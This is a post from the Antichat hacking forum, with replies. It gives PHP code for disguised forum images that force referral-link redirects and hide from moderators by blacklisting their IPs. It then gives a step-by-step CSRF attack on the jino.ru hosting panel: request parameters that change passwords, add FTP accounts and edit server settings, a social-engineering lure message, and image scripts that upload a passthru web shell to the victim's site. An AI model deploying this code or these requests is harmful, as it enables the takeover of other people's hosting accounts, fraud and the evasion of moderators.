Авторские статьи Реф.ссылки в картинках + клоакинг (скрипт)

Discussion in 'Статьи' started by M_script, 25 Apr 2011.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Реф.ссылки в картинках + клоакинг | CSRF через IMG на примере хостинга jino.ru

    ==============================
    Реф.ссылки в картинках + клоакинг

    В прошлом месяце я ради интереса реализовал ротацию изображений через бб-код IMG. Пример:
    [​IMG]
    При каждом обновлении страницы изображение меняется.

    Сегодня увидел этот пост:
    https://forum.antichat.ru/showpost.php?p=2650247&postcount=1818
    Он натолкнул на интересную мысль. Совместил его способ со своей ротацией изображений, немного доработал и вот что получилось:
    test.jpg
    PHP:
    <?php
    $def_images 
    = array(
    'images/default.jpg',
    'images/admin.jpg',
    'images/moderator.jpg'
    );
    $all_links = array(
    'http://refsite1.com/?id=123',
    'http://refsite2.com/?id=456',
    'http://refsite3.com/?id=789'
    );
    $allowed_referers = array(
    'antichat.ru',
    'antichat.net',
    );
    $repeat false;

    $ip ip2long($_SERVER['REMOTE_ADDR']);
    $disabled true;
    if(isset(
    $_SERVER['HTTP_REFERER']))
    {
        
    $referer $_SERVER['HTTP_REFERER'];
        for(
    $i 0$i count($allowed_referers) ; $i++)
        {
            if(
    stripos($referer$allowed_referers[$i]) !== false)
            {
                
    $disabled false;
                break;
            }
        }
    }

    if(
    $disabled)
    {
        
    header("Content-type: image/jpeg");
        
    $im imagecreatefromjpeg($def_images[0]);
        
    imagejpeg($im);
        
    imagedestroy($im);
        die();
    }

    include(
    'db.php');
    $result mysql_query("SELECT * FROM `black` WHERE `ip` = $ip");
    if(
    mysql_num_rows($result))
    {
        
    $row mysql_fetch_assoc($result);
        
    $type = (int) $row['type'];
        if(
    $type >= count($def_images))
            
    $type 0;

        
    header("Content-type: image/jpeg");
        
    $im imagecreatefromjpeg($def_images[$type]);
        
    imagejpeg($im);
        
    imagedestroy($im);
        die();
    }
        
    $result mysql_query("SELECT * FROM `links` WHERE `ip` = $ip");
    if(
    mysql_num_rows($result))
    {
        
    $row mysql_fetch_assoc($result);
        
    $link_num = (int) $row['link_num'];
        if(
    $link_num count($all_links) - 1)
        {    
            
    $link_num++;
        }
        else if(
    $repeat)
        {
            
    $link_num 0;
        }
        else
        {
            
    header("Content-type: image/jpeg");
            
    $im imagecreatefromjpeg($def_images[0]);
            
    imagejpeg($im);
            
    imagedestroy($im);
            die();
        }
        
        
    mysql_query("UPDATE `links` SET `link_num` = $link_num WHERE `ip` = $ip");
    }
    else
    {
        
    $link_num 0;
        
    mysql_query("INSERT INTO `links` VALUES (NULL, $ip, 0)");
    }

    $link $all_links[$link_num];
    if(
    stripos($link'http:') !== false)
    {
        
    header("Location: $link");
    }
    else
    {
        
    header("Content-type: image/jpeg");
        
    $im imagecreatefromjpeg($link);
        
    imagejpeg($im);
        
    imagedestroy($im);
    }
    die();
    ?>
    При каждом обновлении страницы сайта с этой "картинкой" (с одного IP-адреса), поочереди происходит переход по ссылкам из массива all_links. Вместо ссылок можно также указывать путь к jpeg-файлам.
    Переход по ссылкам осуществляется только если "картинка" загружается со страниц, в адресе которых содержится текст из массива allowed_referers, в других случаях отображается файл 'images/default.jpg'
    Если repeat включен, ссылки после окончания списка будут прокручиваться заново. Если repeat выключен, после окончания списка будет отображаться файл 'images/default.jpg'.
    Чтобы было меньше проблем, используется клоакинг - блэк-лист IP-адресов с возможностью разделения по группам и выдачи отдельной картинки на каждую группу.
    Для того, чтобы добавить админа в блэк, достаточно отправить ему в личку сообщение с картинкой, приведенной ниже:
    adm.jpg
    PHP:
    <?php
    $ip 
    ip2long($_SERVER['REMOTE_ADDR']);
    include(
    'db.php');
    $result mysql_query("SELECT * FROM `black` WHERE `ip` = $ip");
    if(!
    mysql_num_rows($result))
        
    mysql_query("INSERT INTO `black` VALUES (NULL, $ip, 1)");

    header("Content-type: image/jpeg");
    $im imagecreatefromjpeg('images/admin.jpg');
    imagejpeg($im);
    imagedestroy($im);
    die();
    ?>
    Дополнения:
    .htaccess
    PHP:
    <FilesMatch "^(test|adm)\.jpg$">
    AddType application/x-httpd-php .jpg
    </FilesMatch>
    db.php
    PHP:
    <?php
    mysql_connect
    ('localhost''user''password');
    mysql_select_db('dbname');
    ?>
    таблицы
    PHP:
    CREATE TABLE IF NOT EXISTS `links` (
      `
    idint(4NOT NULL auto_increment,
      `
    ipint(4NOT NULL,
      `
    link_numint(4NOT NULL,
      
    PRIMARY KEY  (`id`)
    ); 
    CREATE TABLE IF NOT EXISTS `black` (
      `
    idint(4NOT NULL auto_increment,
      `
    ipint(4NOT NULL,
      `
    typeint(4NOT NULL,
      
    PRIMARY KEY  (`id`)
    ); 
    Ниже вставлена "картинка", код которой написан в теме.
    Первые 3 обновления страницы - переход по ссылкам, потом появится изображение:
    [​IMG]
    Чтобы увидеть, что отображается у людей из блэк-листа, нужно перейти по ссылке и обновить эту страницу.




    =====================================
    CSRF через IMG на примере хостинга jino.ru


    Продолжу тему редиректов в картинках. Кроме реф.ссылок их можно использовать для проведения CSRF-атак.
    Для примера возьмем известный хостинг jino.ru. Несмотря на популярность этого хостинга, опасных CSRF-уязвимостей на нем много.
    Панель управления хостинга находится на портах 8080(http) и 8443(https) всех сайтов, прикрепленных к аккаунту. На всех аккаунтах по-умолчанию есть домен login.jino.ru.
    В примерах запросов буду писать только список параметров и значений. Все запросы нормально работают с методами GET и POST (не забывайте про URL Encode)

    Изменение пароля
    area=services_chpassword
    do=services_chpassword
    oldhint=
    password=newpass
    password2=newpass

    Добавление FTP-аккаунта (при создании аккаунта к FTP-логину добавляется префикс "login_")
    area=management_ftpaccounts
    do=management_ftpaccountadd
    ftp_login=ftplogin
    dir=/
    password=pass
    password2=pass

    Изменение пароля FTP-аккаунта
    area=management_ftpaccountedit
    do=management_ftpaccountchpass
    login=ftplogin
    old_login=ftplogin
    dir=/
    password=newpass
    password2=newpass

    Изменение настроек веб-сервера (в запросе настройки с префиксом "default_" - обязательные, с префиксом "d_" - редактируемые)
    area=management_htsettings
    do=management_htaccesssave
    default_AddDefaultCharset=cp1251
    default_allow_call_time_pass_reference=1
    default_display_errors=1
    default_magic_quotes_gpc=0
    default_magic_quotes_runtime=0
    default_open_basedir=1
    default_output_buffering=1
    default_post_max_size=15M
    default_register_globals=0
    default_upload_max_filesize=8M
    d_AddDefaultCharset=cp1251
    d_allow_call_time_pass_reference=1
    d_display_errors=1
    d_magic_quotes_gpc=0
    d_magic_quotes_runtime=0
    d_open_basedir=1
    d_output_buffering=1
    d_post_max_size=15M
    d_register_globals=0
    d_upload_max_filesize=8M


    На любой сайт, прикрепленный к аккаунту, можно загрузить любой текстовый файл за два запроса.

    Создание файла
    area=filemanager_main
    do=filemanager_createfile
    path=/domains/testsite.ru
    filename=test.php

    Изменение файла
    do=filemanager_savefile
    area=filemanager_editor
    path=/domains/testsite.ru/test.php
    contents=<?php passthru($_GET['c']); ?>
    charset=UTF-8
    linebreaks=UNIX


    Так как все перечисленные запросы работают через GET, их можно спрятать в картинке и разместить на форуме (или отправить по электронной почте).
    Электронная почта менее эффективна, потому что многие знают об опасности чтения писем, полученных от незнакомых адресов, и не открывают их. О том, что чтение ЛС на форуме может быть опасно, не знает почти никто.


    Один из вариантов CSRF-атаки через IMG:

    В подпись ставится юзербар (userbar.jpg). Вместо подписи можно отправить картинку в ЛС, но при ответе ссылка будет видна в цитировании и это вызовет подозрения.
    Активная сессия сохраняется недолго, поэтому нужно заставить владельца сайта авторизоваться в панели управления. Тут потребуется немного СИ.
    Пример сообщения в ЛС
    Привет.
    Я знаю, что ты тоже пользуешься хостингом на jino.
    Сегодня заметил странный баг. Когда захожу в панель через сайт jino.ru, все нормально, а через mysite:8080 баланс отображается намного больше реального:
    [нарисованный скрин]
    Можешь проверить, у тебя так же или проблема в моем аккаунте? Попробуй зайти в панель через jino.ru, а потом через targetsite:8080
    При просмотре скрина (screen.jpg), CSRF в юзербаре активируется на IP-адрес владельца сайта.
    После того, как будет получен ответ, подтверждающий авторизацию в панели управления, для заливки шелла достаточно отправить владельцу сайта еще два любых сообщения в ЛС.


    Файлы:

    .htaccess
    PHP:
    <FilesMatch "^(screen|userbar)\.jpg$">
    AddType application/x-httpd-php .jpg
    </FilesMatch>
    screen.jpg
    PHP:
    <?php
    if(!file_exists('ip_9b1dc96079.txt'))
        
    file_put_contents('ip_9b1dc96079.txt'$_SERVER['REMOTE_ADDR']);

    header("Content-type: image/jpeg");
    $im imagecreatefromjpeg('real_screen.jpg');
    imagejpeg($im);
    imagedestroy($im);
    die();
    ?>
    userbar.jpg
    PHP:
    <?php
    $site 
    'sitename.ru';
    $file '149adb4c6a.php';
    $forum 'forumname.ru';

    if(    (
    $_SERVER['REMOTE_ADDR'] == file_get_contents('ip_9b1dc96079.txt')) &&
        (
    stripos($_SERVER['HTTP_REFERER'], $forum) !== false))
    {
        switch((int)
    file_get_contents('show_149c6c34cc.txt'))
        {
            case 
    0:
                
    file_put_contents('show_149c6c34cc.txt'1);
                
    header("Location: http://$site:8080/?area=filemanager_main&do=filemanager_upload&path=%2Fdomains%2F$site&num_files=1&upload_file1=$file");
                die();
            case 
    1:
                
    file_put_contents('show_149c6c34cc.txt'2);
                
    header("Location: http://$site:8080/?do=filemanager_savefile&area=filemanager_editor&path=%2Fdomains%2F$site%2F$file&contents=%3C%3Fphp%20passthru%28%24%5FGET%5B%27c%27%5D%29%3B%20%3F%3E&charset=UTF-8&linebreaks=UNIX");
                die();
        }
    }

    header("Content-type: image/jpeg");
    $im imagecreatefromjpeg('real_userbar.jpg');
    imagejpeg($im);
    imagedestroy($im);
    die();
    ?>



    .
     
    #1 M_script, 25 Apr 2011
    Last edited: 25 Jul 2011
    11 people like this.
  2. antibiotic

    antibiotic [ таблетка ]

    Joined:
    13 Jul 2009
    Messages:
    620
    Likes Received:
    520
    Reputations:
    245
    молодец м_скрипт
    а я думал как он это осуществляет
     
    _________________________
  3. ErrorNeo

    ErrorNeo Elder - Старейшина

    Joined:
    2 May 2009
    Messages:
    923
    Likes Received:
    838
    Reputations:
    402
    сколько я не обновлял - в хроме оно вот так:

    [​IMG]

    "битая картинка"
     
  4. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    ErrorNeo, в опере всё работает.
     
  5. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Проверил в хроме 11. Битая картинка только при редиректах, после 3х обновлений картинка отображается нормально.
     
    1 person likes this.
  6. Магнитофон

    Магнитофон Мошенник

    Joined:
    24 Nov 2010
    Messages:
    139
    Likes Received:
    159
    Reputations:
    54
    Отобразилась после 1 обновления в хроме. Молодец М_Скрипт
     
  7. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    ОМГ. м_скрипт - злой гений :D

    скрипта в грины. ну как минимум в жёлтых.
     
  8. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    в паблик
     
  9. A-Graff

    A-Graff Active Member

    Joined:
    14 Aug 2009
    Messages:
    38
    Likes Received:
    120
    Reputations:
    130
    Добрый Ты:)))

    ЗЫ Сейчас серч познает всю силу открытия М_скрипта :D
     
  10. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    A-Graff, только эта тема в паблик, другие пусть еще полежат.
     
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    я как раз вчера думал, как можно создать динамическую аватарку

    мысли были, а реализoвать пока не был готов :D

    M_script как всегда... +++++
     
    _________________________